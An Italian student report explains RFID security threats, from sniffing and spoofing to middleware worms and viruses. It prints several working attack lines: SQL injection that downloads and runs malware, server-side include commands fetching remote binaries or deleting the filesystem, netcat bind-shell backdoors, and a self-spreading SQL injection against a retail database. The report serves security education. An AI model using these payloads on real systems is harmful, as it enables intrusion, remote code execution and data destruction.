Vulnerabilità e prevenzione nei sistemi RFID

Transcript

Vulnerabilità e prevenzione
nei sistemi RFID
di
Federico Barboni
0000324080
Federico Barboni - Laboratorio Interdisciplinare 08/09
Abstract:
In questa relazione tratteremo delle vulnerabilità e delle possibili minacce che affliggono gli
RFID, partendo con una breve panoramica sugli RFID Sniffer e sulle loro potenzialità di
immagazzinamento di tags provenienti da carte di credito, passaporti e qualsiasi oggetto
contentente Tags RFID. Vedremo poi come sia possibile riscrivere questi tags con del
codice maligno e di come vengano compromesse le strutture middleware a seconda che
si tratti di un exploit, worm, o di un virus; in questa parte inoltre analizzeremo un esempio
concreto su come possa essere compromesso un database di un negozio attraverso un
virus autoreplicante.
Concluderemo la ricerca con delle contromisure valide per prevenire possibili attacchi
RFID alle strutture middleware e come prevenire lo sniffing delle nostre carte di credito
attraverso la costruzione fai-da-te di un portafogli schermato.
Claim:
Dai documenti personali agli oggetti quotidiani, dal cibo alle persone fisiche, i chip RFID
stanno entrando in modo pervasivo nella nostra quotidianità e il rischio di clonazione e
modifica dei tag a scopi maligni è una minaccia reale. Credo quindi sia utile conoscere
delle contromisure valide per fronteggiare possibili problemi di questo genere e come
prevenire la diffusione di minaccie allʼinterno di un sistema RFID.
Indice:
Introduzione
1. Perchè lʼRFID è vulnerabile?
1.1 Principali minacce dellʼRFID
2. Gli RFID Sniffer
3. Le architetture middleware e le possibili minacce
4. Worms dellʼ RFID
5. Possibili exploits tramite RFID
5.1 Sql Injection
5.2 Buffer overflow
5.3 Code insertion
5.4 Payolads
6. Virus dellʼ RFID
6.1 Quines: il codice auto-replicante
6.2 Virus RFID polimorfici
7. E se fosse una grande distribuzione ad essere attaccata...
7.1 ...da un virus auto-replicante?
8. Contromisure dal lato middleware
9. Conclusioni
Introduzione
In termini generali, un sistema RFID è costituito da un dispositivo (tag o transponder) in
cui sono memorizzate informazioni relative ad un oggetto (cui è applicato) che
possono essere lette ed eventualmente riscritte da strumenti dedicati (detti lettori o
ricevitori) per mezzo di radiocomunicazioni a distanza, e dunque senza necessità non
solo di contatto fisico, ma anche (almeno in teoria) di visibilità diretta fra i dispositivi.
Lʼaccesso ad informazioni a distanza facilita evidentemente lʼautomatizzazione di una
vasta serie di operazioni, con conseguente riduzione di costi e tempi ed aumento di
efficienza e qualità.
L'RFID, a differenza dei Codici a Barre e delle Bande magnetiche:
• Non deve essere vicino per essere letto come le bande magnetiche
• Non deve essere visibile per essere letto come per i codici a barre
• Può anche aggiungere informazioni sui chip in funzione della tipologia del Chip (Read
Only, Read Once, Read and Write)
• Ha un tempo per l'identificazione e la verifica di 10/100 di secondo
Quindi la maggior capacità di identificazione via wireless dellʼ RFID, in sostituzione ai
comuni codici a barre, ci porta a pensare a una vera e propria rivoluzione nel nostro modo
di vivere le nostre esperienze commerciali, industriali e mediche. I pagamenti al
supermercato o nelle autostrade, il tracciamento di animali in via di estinsione o portatori di
malattie, i badge in certi uffici, sono solo alcuni esempi dei campi in cui lʼRFID viene
utilizzato.
Ma come tutte le innovazioni
tecnologiche, anche lʼRFID ha il suo
lato oscuro e le sue vulnerabilità, quindi
andremo ad analizzare meglio questi
aspetti partendo dal perchè lʼRFID
potrebbe essere soggetto ad attacchi
malevoli fino a vedere qualche tipo di
attacco possibile su questi chip.
1.Perchè lʼRFID è vulnerabile?
Il desiderio di vedere questa tecnologia al massimo del suo splendore ha offuscato un pò il
pensiero che possano svilupparsi virus per lʼRFID. Inoltre, gli exploits dellʼRfid non sono
ancora conosciuti palesemente, quindi le persone immaginano che ogni installazione o
applicazione dellʼ Rfid non sia vulnerabile a possibili attacchi.
Sfortunatamente questo punto di vista è solamente un utopia molto lontana; le
implementazioni dellʼ RFID hanno svariate caratteristiche che fanno si che questa sia
lʼennesima possibile candidata ad essere sfruttata dai malware.
Alcune peculiarità che ci possono far riflettere sono:
I.
Mole notevole di codice sorgente: i tags rfid hanno dei vincoli ferrei che limitano
intrinsecamente la loro complessità stessa, ma nel back-end dei sistemi middleware
Rfid ci potrebbero essere migliaia se non milioni di righe di codice sorgente. Se
pensiamo che i bug presenti in un software in media sono tra i 6 e i 16 ogni 1000
linee di codice, nelle strutture middleware dellʼRfid è come se avessimo una mole
infinita di falle sfruttabili. Al contrario, in un sistema middleware di dimensioni minori
si possono avere meno linee di codice ma, nella maggior parte dei casi, potrebbe
soffrire di un insufficente testing e quindi della possibilità di essere vulnerabile;
II.
Protocolli e infrastrutture comuni: Basandosi sulle infrastrutture Internet, lʼRFID è
una soluzione scalabile, e a basso costo anche per lo sviluppo di sistemi middleware
RFID. Il problema è che, adottando i protocolli Internet, lʼRFID viene affiancato anche
dal problema della sicurezza dei protocolli e delle loro vulnerabilità note;
III. Database dei tags: Lʼessenza dellʼRFID è la raccolta di dati automatizzata, quindi i
dati dei tags devono essere collezionati in database i quali poi dovranno rispondere a
query di svariate entità a seconda dello uso che ne verrà fatto. I databases sono una
delle parti a rischio dellʼRFID, anche se la buona notizia è che i tradizionali fornitori di
database come SAP e Oracle, si sono messi al lavoro con lo sviluppo commerciale di
middleware RFID. La cattiva notizia è che i database sono comunque suscettibili a
possibili violazioni della sicurezza. Peggio ancora, essi hanno delle loro proprie classi
di attacchi ben determinate come, da non sottovalutare, lʼSql Injection,;
IV. I tags contengono dati interessanti:I sistemi RFID sono un target goloso per il
criminali informatici. I dati possono contenere informazioni personali o finanziarie, e
questo è sempre un punto importante in termini di sicurezza (ad esempio la
protezione dei dati dei passaporti digitali). Nel caso lʼRFID venisse colpito da un
malware, potrebbero verificarsi molti più danni di quanti ne potrebbe fare lo stesso su
un normale PC, perchè un malware per RFID ha un vero mondo a parte e oltre al
rischio di danneggiare i back-end dei sistemi informatici, potrebbe compromettere
qualsiasi oggetto contrassegnato nel mondo reale.
V.
Sicurezza apparente: La maggior parte degli attacchi hacker colpisce bersagli facili
e i sistemi Rfid come abbiamo detto, possono essere abbastanza vulnerabili perchè
nessuno si aspetterebbe un malware RFID, specie se si parla di un sistema non
connesso alla rete. Gli sviluppatori di sistemi di comunicazione RFID devono mettere
in conto di dover prendere delle misure di sicurezza per proteggere i propri sistemi, e
più avanti vedremo quali contromisure potrebbero essere prese per evitare possibili
attacchi malevoli;
1.1 Principali minacce dellʼ RFID
Come abbiamo annunciato fino a poco fa, questa “utopia” della computazione pervasiva
ha il suo lato oscuro. LʼRFID, automatizzando le collezioni di informazioni relative a
individui, luoghi o azioni, potrebbe essere soggetto ad abusi da parte di hacker , industriali
e perchè no, dal governo. Ci sono 5 minaccie fondamentali che minano la sicurezza
dellʼRFID e sono:
1. Sniffing: I tags RFID sono progettati per essere letti da qualsiasi dispositivo
compatibile per la lettura di questi. La lettura dei tags quindi può avvenire in qualsiasi
momento e anche da distanze abbastanza notevoli, senza avvisare (naturalmente) il
possessore dei tag;
2. Tracking: Se supponiamo di posizionare dei lettori di Rfid in posizioni strategiche,
potremmo registrare qualsiasi passaggio di tag unici e identificativi (oppure,
“costellazioni” di tags identificativi non-unici) ai quali troviamo associate le identità
personali e quindi, potremmo tracciare gli spostamenti di un individuo. Quindi il
problema sorge quando un individuo viene tracciato involontariamente dal RFID (come
i lavoratori aziendali ad esempio) ma ciò dovrebbe essere sempre noto ai soggetti
stessi, anche se nella maggior parte dei casi non lo è affatto;
3. Spoofing: Gli hackers attaccanti, seguendo la formattazione propria dei dati nellʼRFID,
potrebbero creare degli autentici tag RFID, scrivendo i dati dei tag allʼinterno di
trasponders vergini o riscrivibili. Un noto attacco di spoofing venne fatto in passato dai
ricercatori della Johns Hopkins University, dove clonarono un trasponder RFID protetto
da chiave RSA, utilizzando un identificativo sniffato (e decriptato successivamente), il
quale poi utilizzarono per comperare della benzina e per disattivare il sistema Rfid di
antifurto di unʼauto [BGSJRS05];
4. Replay attacks: Gli attaccanti possono intercettare e ritrasmettere queries RFID
utilizzando dei semplici trasmettitori RFID. Questi trasmettitori possono ingannare i
lettori RFID, i sistemi di pagamento “contactless” e i dispositivi di controllo per
lʼaccesso a strutture o aziende. Ma fortunatamente, lʼimplementazione di protocolli di
autenticazione fra i tags RFID e i sistemi di back-end, migliora notevolmente
lʼaffidabilità e la sicurezza di questi;
5. Denial of service: Il Denial of Service (DoS) avviene quando viene impedito ai sistemi
RFID di funzionare correttamente. La lettura dei tags infatti potrebbe essere ostacolata
o da una gabbia di Faraday (Con gabbia di Faraday si intende qualunque sistema
costituito da un contenitore in materiale elettricamente conduttore (o conduttore cavo)
in grado di isolare l'ambiente interno da un qualunque campo elettrostatico presente al
suo esterno, per quanto intenso questo possa essere) o da un disturbo al segnale di
trasmissione, in entrambi i casi il risultato è che le onde trasmesse dai sistemi non
raggiungono gli oggetti aventi tags RFID. Il DoS potrebbe risultare un problema
disastroso in certe situazioni, come nel caso in cui si debbano leggere informazioni
mediche dai chip RFID sottocutanei, ovvero dai chip VeriMed™, che permettono una
conoscenza istantanea della situazione del paziente.
Questa lista di categorie che abbiamo appena visto, rappresenta lo stato corrente della
“conoscenza comune” riguardo i malware della sicurezza e della privacy nei sistemi RFID.
Abbiamo visto come può avvenire un uso improprio dei dati RFID ai livelli più alti di questi
sistemi, ora cercheremo di introdurre altri malware dellʼRFID andando più in profondità,
sottolineando come si possa abusare dei dati di Tags RFID formattati in modo improprio.
2.Gli RFID Sniffer
Gli sniffer sono dei semplici circuiti analogici che possono rilevare la presenza di tag RFID
a frequenze di 13.56 Mhz. Possono essere
solamente Reader o anche Reader/Writer
a seconda dellʼimplementazione del
circuito. Sono dotati solitamente di una
piccola memoria per immagazzinare i tags
letti e sono alimentati a batteria.
Marc Boon, ricercatore informatico
indipendente, ha sviluppato recentemente
un paio di soluzioni al riguardo,
implementando un RFID sniffer avente
solo la funzione di Reader, e una RFIDuino shield, sviluppata appositamente per schede
“Arduino”, che permette di avere una periferica Reader/Writer di tags RFID. Le schede
“Arduino”, sono concepite appositamente per la scrittura di dati su qualsiasi oggetto
contenente chip RFID.
Non avendo sufficienti conoscenze riguardo il lato elettronico e la componentistica, vi
rimando direttamente al suo sito http://marcboon.com per eventuali delucidazioni a
proposito.
3. Le architetture middleware e le
possibili minacce
Ora osserveremo più da vicino i principi delle minacce dellʼRFID, presentando i
meccanismi virali e i payloads che possono compromettere dei tipici sistemi con un
architettura RFID.
Innanzi tutto, una struttura middleware, che si trova al centro del sistema RFID, riceve gli
eventi dai lettori RFID ogni qualvolta un tag venga letto. Questi eventi vengono processati
da diversi filtri. Quando è completamente filtrato, l'evento è pronto per essere valutato e
uno dei componenti memorizza l'evento in un database per i processi futuri. I lettori RFID
sono connessi al middleware attraverso i driver (o moduli). Questa modularità consente al
middleware di supportare diversi device senza dover apportare modifiche al sistema. Il
middleware comprende anche un interfaccia utente, nata fondamentalmente per la
gestione del sistema. Ma con il tempo sono state implementate anche ulteriori interfacce,
che non consentono la gestione: ad esempio in un supermarket viene usata un interfaccia
che permette ai clienti di monitorare la propria spesa.
Inoltre il middleware consente l'interconnessione con altri software di gestione per
estendere ed automatizzare la gestione dei prodotti.
Sapendo che vengono utilizzati una vasta quantità di RFID readers, gateways, interfacce
di gestione e databases, consideriamo per il nostro caso un architettura che abbia un
Reader collegato a una computer avente unʼinterfaccia di gestione, la quale a sua volta sia
collegata tramite protocollo HTTP a più databases (MySQL, Postgres, Oracle, o SQL
Server).
Principalmente esistono tre tipi di malware RFID che ora vedremo in modo generale ma
che poi riprenderemo in seguito più approfonditamente con degli esempi concreti: i
Worms, gli Exploits e i Virus.
I Worms possiamo considerarli come un programma che si auto propaga allʼinterno di una
rete, creando problemi di sicurezza nei servizi ampiamente utilizzati. Un Worm si distingue
da un Virus per il fatto che esso non richiede nessun tipo di attività da parte dellʼutente per
propagarsi. Un Worm solitamente ha un payload che svolge compiti come la cancellazione
di file, lʼinvio di informazioni via mail o lʼinstallazione di patch per software. Uno dei più
comuni payloads per un worm è lʼinstallazione di una “backdoor” nel computer infetto, che
rende così più semplice lʼaccesso di un hacker allʼelaboratore in un eventuale secondo
momento.
Un worm per RFID si propaga sfruttando i difetti di sicurezza dei servizi on-line dellʼRFID e
non necessita di nessun azione da parte dellʼutente per propagarsi (come potrebbe essere
il passaggio di un RFID davanti uno scanner), anzi, si potrebbe diffondere autonomamente
anche via tag RFID se dovesse capitare!
I Tag RFID possono “exploitare” direttamente il back-end di un sistema middleware.
Se vorremmo essere un pò più scettici potremmo chiederci: “ Ma se i tags RFID hanno
risorse limitatissime tanto da non poter proteggere neanche se stessi, come possono
lanciare un attacco??”. La verità purtroppo è che la cosa risulta più facile di quanto
possano essere rilevanti le risorse a disposizione; manipolare meno di 1kb di dati in un
Tag RFID può sfruttare falle nella sicurezza dei sistemi middleware RFID, annullando la
loro funzione e probabilmente compromettendo o il computer o lʼintero network.
Il punto sta nel fatto che quando un RFID reader legge un tag, esso si aspetta di ricevere
le informazioni in un determinato formato. Tuttavia, un utente malintenzionato potrebbe
scrivere i dati su un tag RFID in un modo talmente scrupoloso da mandare in crisi il
software del reader presente nel back-end. Gli Exploits del RFID mirano a specifici
componenti del sistema, come databases o interfacce web, utilizzando una serie di
“strumenti di hacking” che includono attacchi di tipo buffer overflow, code insertion e SQL
injection. Questi tipi di attacchi possono essere fatti utilizzando tags RFID a costi
bassissimi, come le smart card contactless o altre risorse contenenti tag RFID.
La cosa fondamentale è che più spazio si ha a disposizione e più si possono realizzare
attacchi complessi.
Mentre i worms RFID si avvalgono della presenza di una connessione di rete, un Virus
RFID auto-replicante è completamente auto sufficiente; basta un tag RFID infettato per
scatenare un attacco virale. Alcuni esempi che possano dare lʼidea di come un virus possa
lanciare un attacco virale sono:
• Un utente malizioso crea un tag RFID con un virus e lo inietta in un cane o
semplicemente lo attacca sul collare di questo. Ora basta solamente andare da un
veterinario e annunciare in modo convincente di aver trovato un cane abbandonato e se
potessero controllare i suoi dati tramite lo scan del chip. Bingo, il database è infettato, e
finchè il veterinario userà questo database per creare tags RFID per i nuovi animali
trovati, tutti questi nuovi tags saranno infettati. Quando poi questi verranno passati al
lettore per qualsiasi ragione, il database verrà infettato ancora e via dicendo.
Diversamente dai virus biologici che saltano da un animale allʼaltro, un virus RFID passa
dallʼanimale al database a un altro animale per replicarsi;
• Come sappiamo, molti aeroporti nel sistema di gestione dei bagagli utilizzano i tag RFID
nelle etichette che vengono poste sul bagaglio. Ora, consideriamo un utente malizioso
che mette un tag RFID infettato sulla sua valigia e la passa al check-in. Quando il lettore
RFID, del sistema di gestione dei bagagli, verifica la valigia in prossimità delle giunzioni
a Y che decidono il percorso della valigia a seconda della destinazione, il tag risponde
con un virus che infetta tutto il database dei bagagli. Di conseguenza quindi, tutte le
valigie che passeranno sotto lo scan verranno infettate e a loro volta tutte le valigie
infettate che passeranno in altri hub infetteranno altri database, e in pochi giorni
potremmo avere una bona quantità di aeroporti in crisi.
Finchè si tratta di infettare altri tags il problema è quasi benigno, ma utilizzando payloads
che possano compromettere un database, si potrebbe anche ipotizzare un passaggio di
bagagli non autorizzato sotto gli occhi delle forze dellʼordine, senza che nessuno se ne
accorga.
4.Worms dellʼ RFID
Il processo di infezione da parte di un worm dellʼ RFID comincia quando lʼhacker, per
prima cosa, scopre la natura dei server RFID nelle strutture middleware infettabili tramite
la rete. Lʼattaccante potrebbe utilizzare exploits comuni basati sui protocolli di rete per
entrare allʼinterno dei server, una sorta di “meccanismi vettoriali” per trasmettere se stessi
allʼinterno del target prestabilito. Un esempio è lʼattacco contro i server dellʼ EPCglobalʼs
Object Naming Service (ONS), i quali sono suscettibili a molti attacchi al DNS abbastanza
comuni [FGS05]. Comunque questi attacchi possono essere automatizzati attraverso vari
meccanismi di propagazione che caratterizzano un worm dellʼRFID.
Un worm dellʼRFID può inoltre propagarsi anche via tags: se ad esempio avessimo una
struttura middleware infetta da un worm, questa potrebbe infettare tutti i tags RFID
sovrascrivendo i loro dati con un tag compromesso. Questo exploit porta i server delle
strutture middleware a scaricare ed eseguire un file malevolo direttamente da un computer
remoto. Questo file praticamente infetta i server della struttura middleware allo stesso
modo di come potrebbe agire un malware per computer, ovvero lanciando una nuova
istanza del worm.
Questo che leggiamo qua sotto è un esempio di un payload di un worm RFID basato su
un SQL injection, la quale compromette un possibile Microsoft SQL Server:
; EXEC Master..xp cmdshell ’tftp -i %ip% GET myexploit.exe & myexploit’ -Questo payload porta il server SQL a eseguire un comando di sistema che usa tftp (se
abbiamo Windows) per scaricare e eseguire malware remoti. In modo abbastanza simile, il
payload del worm web-based dellʼRFID che troviamo qua sotto, sfrutta lʼinterfaccia di
gestione dellʼRFID per auto-replicarsi attraverso gli scripting del lato server:
< !--#exec cmd=’’wget http://%ip%/myexploit -O /tmp/myexploit; chmod +x /tmp/
myexploit; /tmp/myexploit’’ -->
I buffer overflows dellʼ RFID, che vedremo meglio nel paragrafo seguente, potrebbero
avere comportamenti simili a un worm, cioè possono fare leva sul codice trasmesso via
shell per scaricare ed eseguire un malware da una location remota.
5.Possibili exploits tramite RFID
In quanti modi possiamo sfruttare a nostro favore i sistemi middleware attraverso un
malware per RFID? Come abbiamo annunciato precedentemente, abbiamo tre tipi di
exploit interessanti da analizzare: SQL Injection, Code Insertion e Buffer Overflow.
5.1 Sql Injection
LʼSql Injection è uno fra i più tradizionali degli attacchi hacker e consiste nel passare a un
database del codice SQL che non era destinato a lui. Un attacker usa lʼSQL Injection
perchè ha diversi obbiettivi da raggiungere con questo: per prima cosa, egli vorrà
“enumerare” (o meglio mappare) tutta la struttura del database, poi successivamente vorrà
poter prendere, modificare o persino cancellare dei dati ovviamente non autorizzati.
Il limite di spazio per i dati, che caratterizza i tag RFID, non è necessariamente un
problema se parlamo di attacchi di tipo SQL Injection, perchè è possibile fare
tranquillamente molti danni con poche linee di codice SQL. Ad esempio, se passassimo il
seguente comando:
;shutdown-verrà interrotta lʼistanza del server SQL utilizzando solamente un input di 12 caratteri!
Un altro comando abbastanza fastidioso è:
drop table <tablename>; --
che cancellerà la specifica tabella di un database. Molti database inoltre supportano i
costrutti IF/THEN, che potrebbero distruggere un database ad un tempo prestabilito o
semplicemente permettere a un virus di propagarsi in altri databases. Gli exploit per RFID
eventualmente possono “rubare” dati da un database copiandoli sul tag RFID usando una
query embedded di tipo SELECT.
I databases a volte permettono agli amministratori, di eseguire comandi di sistema: ad
esempio, Microsoft SQL Server esegue comandi utilizzando le procedure memorizzate
dellʼ “xp_cmdshell”; un attacker potrebbe utilizzare queste procedure per compromettere
lʼintero sistema di un computer, inviando tramite mail il file con le password oscurate del
sistema. Solo con un semplice attacco standard di SQL Injection, e se il database gira
come Administrator, un tag RFID infetto potrebbe compromettere un intera macchina o
addirittura un intera rete!
5.2 Code Insertion
Oltre al target dei databases, i malware dellʼRFID possono avere come ulteriore target i
componenti web-based, come le interfacce di gestione remota o i front-end dei database
web-based (come OracleiSQL*Plus).
Il codice maligno può essere iniettato dallʼattacker allʼinterno di un applicazione utilizzando
un qualsiasi numero di linguaggi di scripting tra cui VBScript, CGI, Java, Javascript, PHP,
e Perl. Cross-Site Scripting (XSS) è un comune code insertion e un segnale spia che
potrebbe farci pensare alla presenza di un possibile attacco, potrebbe essere la presenza
di speciali caratteri nei dati in input:
<
>
“
‘
%
;
)
(
&
+
-
Per eseguire un attacco di tipo code insertion un hacker solitamente per prima cosa
instaura degli URLs malevoli, seguito da un esauriente sforzo di “social engineering” per
convincere lʼutente a cliccare su quellʼURL; una volta caduto nella trappola, gli script
preparati partiranno con vari attacchi, dal furto del cookie della sessione al “Session
Hijacking”, per sfruttare anche le vulnerabilità del browser nel tentativo di compromettere
lʼintero sistema.
I tag RFID contenenti dati scritti in un linguaggio di scripting possono eseguire Code
Insertion attacks nei back-end dei sistemi middleware degli RFID: se un applicazione RFID
usa un protocollo web per fare query nel database di back-end (come fa lʼEPCglobal ad
esempio), cʼè la possibilità che il client middleware RFID possa interpretare il linguaggio
dello script, e se dovesse accadere veramente tutto questo, la struttura middleware
potrebbe esere suscettibile agli stessi problemi di Code Insertion che hanno i browser
web.
Gli script che sfruttano le vulnerabilità Client-side generalmente hanno conseguenze
limitate, perchè i browser web (fortunatamente :) ) hanno un accesso limitato allʼhost
stesso. In ogni caso, un exploit in Javascript per RFID potrebbe compromettere un
elaboratore reindirizzando il browser del client a una pagina contenente codice maligno,
come ad esempio un immagine contenente la location del malware:
document.location=’http://%ip%/exploit.wmf
Questo sopra, sfruttando il bug dei Windows Meta Files, fa credere al sistema di caricare
un immagine vettoriale mentre lʼimmagine non verrà aperta, ma il codice maligno al suo
interno verrà eseguito.
Dʼaltro canto, il Server-side scripting ha evidenti conseguenze di ampia portata; può
eseguire payloads con i permessi del web server, ad esempio Server-Side Includes (SSIs)
potrebbe eseguire comandi di sistema come:
< !--#exec cmd=‘ ‘ rm -RF /‘ ‘ -->
Questi tipi di payloads possono essere attivati quando vengono visti da client web (ad
esempio un interfaccia di gestione del WWW).
5.3 Buffer Overflows
I buffer overflows sono tra le più comuni risorse di vulnerabilità della sicurezza di un
software: presenti sia nei vecchi che nuovi software, i buffer overflows vengo a costare alle
moderne industrie software migliaia di euro lʼanno. I buffer overflows sono una pietra
miliare degli attacchi hacker storici, come i worms Code Red del 2001 e lʼSQL Slammer
del 2003, e di solito sorgono in conseguenza ad un uso improprio dei linguaggi come C o
C++ i quali non sono “memory-safe”.
La vita di un buffer overflow inizia quando un attacker passa dati in input direttamente (per
esempio tramite input dellʼutente) o indirettamente (tramite variabili dʼambiente). Questi
dati in input sono deliberatamente più lunghi rispetto allo spazio allocato al buffer
allʼinterno della memoria, quindi i dati sovrascriveranno qualsiasi cosa fosse accaduta
allʼinterno di quello spazio. Le funzioni che ritornano gli indirizzi dei dati in memoria di
solito sono locati in aree della memoria adiacenti ai data buffers: quando una funzione che
ritorna un indirizzo viene sovrascritta, il programma va ad un indirizzo sbagliato che gli
viene ritornato dal buffer, quindi un attacker può richedere dati che ritornino gli indirizzi dei
dati che hanno creato lʼoverflow per prima cosa, più eseguono questo codice ricevuto.
5.4 Payloads
I buffer overflows nellʼRFID possono fare injection di payloads su una notevole varietà di
piattaforme dipendenti da comandi eseguiti tramite shell. Escluso il comando più banale
che potrebbe essere rm (remove), un comando passato tramite buffer overflow come
netcat può essere utilizzato per creare backdoors: netcat praticamente rimane in ascolto
su una porta TCP e stampa tutti i dati che vengono ricevuti, questi in seguito possono
essere passati ad una istanza della shell, la quale esegue i comandi, come ad esempio:
netcat -lp1234|sh
Cʼè un utility di sistema molto interessante chiamata screen: questa crea un istanza della
shell e la isola dal terminale, facendola girare come un processo demone. Combinando
questo con un pò di abilità nei comandi da eseguire da remoto sulla shell, un attacker
potrebbe costruire un backdoor molto più avanzato, tipo questo:
screen -dms t bash -c’ ‘ while [ true ]; do netcat -lp1234|sh;done’ ’
Questo comando crea un loop infinito, che permette allʼattacker di connettersi alla
backdoor ogni qualvolta lo voglia.
Un altra utility sfruttabile è il wget, che scarica file direttamente da un web server o tftp
(trivial ftp), che è contenuto di default nelle installazioni di Windows, in System32, il quale
permette la connessione a servers ftp per upload e download di dati: questa utility può
essere usata come leva per scaricare ed eseguire poi programmi scritti da un probabile
attacker, tipo:
wget http://ip/myExploit -O /tmp/myExploit;
chmod +x /tmp/myExploit; /tmp/myExploit
6.Virus dellʼ RFID
Come abbiamo annunciato prima, un Virus RFID è una variante del RFID Worm
che non necessita di una connessione di rete ma sfruttando un qualsiasi exploit,
può comandare alla struttura middleware di sovrascrivere altri tags RFID; il programma
maligno codificato allʼinterno di un tag diviene attivo solamente quando viene letto da un
reader che passa i dati a un database o a una struttura middleware di un sistema
informatico. Se il sistema viene implementato in modo effimero, il Virus probabilmente
avrà maggior possibilità di successo grazie alle debolezze del software interno alle
strutture middleware, e potrà quindi replicarsi allʼinterno di altri tags. Questo punto ci
dovrebbe un pò far riflettere sulla differenza fra i tag RFID e i tag delle tecnologie AIDC
(Automatic Identification and Data Capture) come i codici a barre: questi ultimi, una volta
scritti, non possono essere cambiati perchè non contengono (a differenza degli RFID)una
memoria modificabile.
6.1 Quines: il codice auto-replicante
Un metodo alternativo che può essere sfruttato da un Virus auto-replicante è lʼutilizzo di un
quine SQL.Un quine è un programma che riscrive il suo stesso codice sorgente: Douglas
R. Hofstadter coniò il termine “quine” in un suo libro “Godel, Escher, Bach”,[HOF79] in
onore di Willard van Orman Quine, che fu il primo ad introdurre questo concetto.
Vengono applicati diversi principi base quando si cerca di scrivere un codice autoreplicante, il più importante è che un quine è formato principalmente da una porzione di
codice e una porzione di dati: la parte dei dati è rappresentata da una forma testuale del
quine, il codice utilizzerà poi questi dati per stampare altro codice, e poi userà i dati per
stampare altri dati. Hofstadter chiarisce questo concetto un pò astratto facendo
unʼanalogia con le cellule biologiche: “...il codice di un quine è come una cellula, e i dati
come fossero il DNA delle cellule: il DNA contiene tutte le informazioni necessarie per la
replicazione delle cellule, dʼaltronde, quando una cellula usa il DNA per creare una nuova
cellula, ella replica allo stesso tempo il DNA.
Ora che abbiamo introdotto questo concetto possiamo vedere un esempio di un quine
scritto in SQL che riproduce solamente se stesso senza fare niente di maligno.
SELECT substr(source,1,93) || chr(39) || source || chr(39) || substr(source,94)
FROM (SELECT ’SELECT substr(source,1,93) || chr(39) || source || chr(39) ||
substr(source,94) FROM (SELECT ::text as source) q;’::text as source) q;
6.2 Virus RFID polimorfici
Un virus polimorfico è un virus che cambia la sua firma binaria ogni volta che replica se
stesso, sfuggendo così ai controlli dei programmi antivirus.
Possono essere utilizzati “multiquines” per creare virus RFID polimorfici: un multiquines è
un set di programmi che stampano il proprio codice sorgente, apparte il caso in cui
vengano dati particolari inputs, portando il programma a stampare il codice di un altro
programma nel set[MAD09]. I multiquines lavorano utilizzando degli introns: lʼintron del
primo programma rappresenta il codice del secondo programma, e lʼintron del secondo
programma rappresenta il codice del primo programma.
I Multiquines polimorfici funzionano allo stesso modo: quando al virus viene passato un
parametro particolare, egli produce una rapprensentazione del secondo virus, e vice
versa. Il parametro variabile potrebbe essere il timestamp, o qualsiasi altroparametro del
database di back-end dellʼRFID che sta per essere attaccato.
Per rendere il Virus completamente intracciabile ai controlli antivirali, la criptazione è
lʼunica soluzione per oscurare la porzione di codice del virus RFID. Abbastanza rilevante è
stato David Madore che dimostrò questa possibilità scrivendo un quine in C che conteneva
il proprio codice, cifrato con lʼalgoritmo di crittografia blowfish, nei suoi dati [MAD09]:
sfortunatamente per lui però, il quine creato era sufficientemente grosso da non entrare in
una normale contactless smart card. Dimensioni a parte, questo secondo me è un ottimo
esempio di cosa possa essere fatto utilizzando una buona dose di cervello e un codice
totalmente auto-replicante!
Qui sotto riporto una tabella interessante che riporta in modo sommario gli attacchi
possibili in base ai diversi tipi di database.
7. E se fosse una grande distribuzione ad essere
attaccata...
Immaginiamoci ora uno scenario di una grande distribuzione, come potrebbe essere un
Mediaworld o la Coop, se venisse attaccata attraverso lʼRFID: le grandi distribuzioni
gestiscono le loro merci servendosi di software di Enterprise Resource Planning e Data
Warehousing, e pongono dei tags RFID sui containers delle merci. In questo modo
l'indicizzazione della merce e' veloce ed efficiente. Il tipico flow di operazioni di questo
sistema è il seguente: un gruppo di container contengono una determinata linea di prodotti
(nel caso di un Mediaworld potrebbero essere periferiche per computer, in una Coop
potrebbe essere la frutta fresca)e passano sotto un reader RFID prima di arrivare al centro
di distribuzione. Il reader identifica e mostra i numeri seriali dei prodotti e reindirizza
queste informazioni nel database principale del distributore. I container vengono poi
svuotati, puliti e riempiti nuovamente con lo stesso prodotto o con uno differente e
verranno poi ripassati sotto un reader che aggiornerà il contenuto del container (ossia i
nuovi tag RFID) per riflettere il nuovo contenuto; una volta riempito il container viene
spedito alle distribuzioni locali.
Lʼarchitettura middleware di questi sistemi RFID non è molto complicata: questi sistemi
hanno molti reader RFID in front-end e solamente un database nel back-end, i tags su i
container sono read/write e i loro dati sono la descrizione del carico stivato allʼinterno del
container stesso. Il database di back-end oltre alle info su i prodotti nei container,
conservano anche le informazioni su i container in arrivo e in partenza dal magazzino.
Ipotizziamo ora che il database di back-end contenga una tabella chiamata
NuovoContenutoContainer: questa tabella lista praticamente i carichi contenuti nei
container riempiti nuovamente, ad esempio il container con il tag RFID #123 ci indica che il
container è stato riempito con cavi usb e che il container con il tag RFID #234 sia stato ririempito con dei cd vergini.
7.1 ...da un virus auto-replicante?
Un giorno arriva al centro distribuzioni un container con un bel payload: quindi il tag RFID
del container è sostanzialmente infettato con un bel virus che potremmo tranquillamente
trovare nei nostri computer. Questo virus userà un SQL Injection come questo per
attaccare il sistema RFID di back-end,:
Contents=UsbCable; UPDATE NuovoContenutoContainer SET
ContenutiContainer = ContenutiContainer || “; [SQL Injection]’’;
LʼSQL Injection praticamente viene posizionato dopo le “ | | “ e una volta eseguito, il codice
concatena i dati della colonna ContenutoContainer nella tabella
NouvoContenutoContainer con il codice completo dellʼSQL Injection.
Il virus successivamente si diffonde nel modo seguente: quando arriva un nuovo container
il tag RFID infetto viene letto dal reader RFID e mentre vengono letti i dati contenuti nel
tag, lʼSQL Injection viene eseguito involontariamente dal database di back-end della
struttura middleware. Il codice maligno viene cosi aggiunto ai dati di descrizione del
contenuto del container che verrà ricaricato. Il sistema di gestione dei dati procederà poi a
scrivere questi valori dentro la porzione di dati del nuovo tag arrivato (e non ancora
infettato), dopo che il rispettivo container sia stato ricaricato. Quindi il nuovo tag RFID
infettato e il rispettivo container vengono spediti a destinazione. I tags malevoli
infetteranno le strutture middleware dei vari stabilimenti colpendo nelle aree dove vengono
utilizzati gli stessi sistemi middleware RFID. I sistemi RFID di conseguenza infetteranno
altri tags RFID, i quali infetteranno altri sistemi RFID e via via proseguendo.
[SQL Injection] = UPDATE NuovoContenutoContainer SET
ContenutoContainer = ContenutoContainer || ‘’; [SQL Injection]’’;
